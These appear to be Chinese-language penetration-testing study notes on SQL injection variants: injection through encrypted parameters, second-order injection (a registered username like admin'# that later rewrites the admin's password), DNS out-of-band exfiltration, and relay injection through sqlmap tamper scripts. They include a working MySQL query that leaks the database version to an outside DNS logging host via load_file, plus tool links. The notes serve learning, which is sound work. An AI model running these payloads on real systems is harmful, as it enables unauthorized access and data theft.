加解密注入
- 其实就是数据被加密了,注入的时候要先把注入语句进行相应加密再注入,只是叠加了一次加密而已
二次注入
- 二次注入一般用于白盒测试,黑盒测试就算是找到注入也没办法攻击
- 二次注入无法通过工具或手工发现,只能观察源代码才能发现
- 一般产生在有数据互联的情况,比如有登录+注册+修改密码
二次注入原理
- 第一步:插入恶意数据
- 第一次进行数据库插入数据的时候仅对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身包含恶意内容
- 第二步:引入二次注入
- 在将数据存入数据库后,开发者就认为数据是可信的,在下一次需要进行查询的时候,直接从数据库中取出了恶意数据,没有进行进一步的检验和梳理,这样就会造成sql的二次注入

- 即通过插入数据修改源代码
示例解释
- 例如账号密码注册中账号注册为admin'#
- 在修改密码的时候更新语句updata tb_name set password=xxxxxx where username='admin'#'
- 这个时候由于注释符#后面的语句就会被注释掉,导致更改密码的时候更改了admin的密码而不是admin'#的密码
长度限制
DNS注入
- 可以解决盲注无回显问题
- 需要高权限进行文件读写操作
- 需要平台:http://ceye.io/,支持对外读取
- 学习资源:https://www.cnblogs.com/xhds/p/12322839.html
- load_file()读取文件并将内容放出,利用其的dns(域名)解析能力放出
- 工具:https://github.com/ADOOO/DnslogSqlinj
mysql> select * from users where id=1 and if((select load_file(concat('\\\\',(select version()),'.eii0i8.ceye.io\\abc'))),1,0);
中转注入
- --tamper
- 例如让sqlmap攻击本地的一个网页,然后脚本get获得参数,将参数加密后拼接到域名后,通过file_get_contents(url)(将网站内容转为字符串)得到执行注入语句后的网页信息,然后将信息输出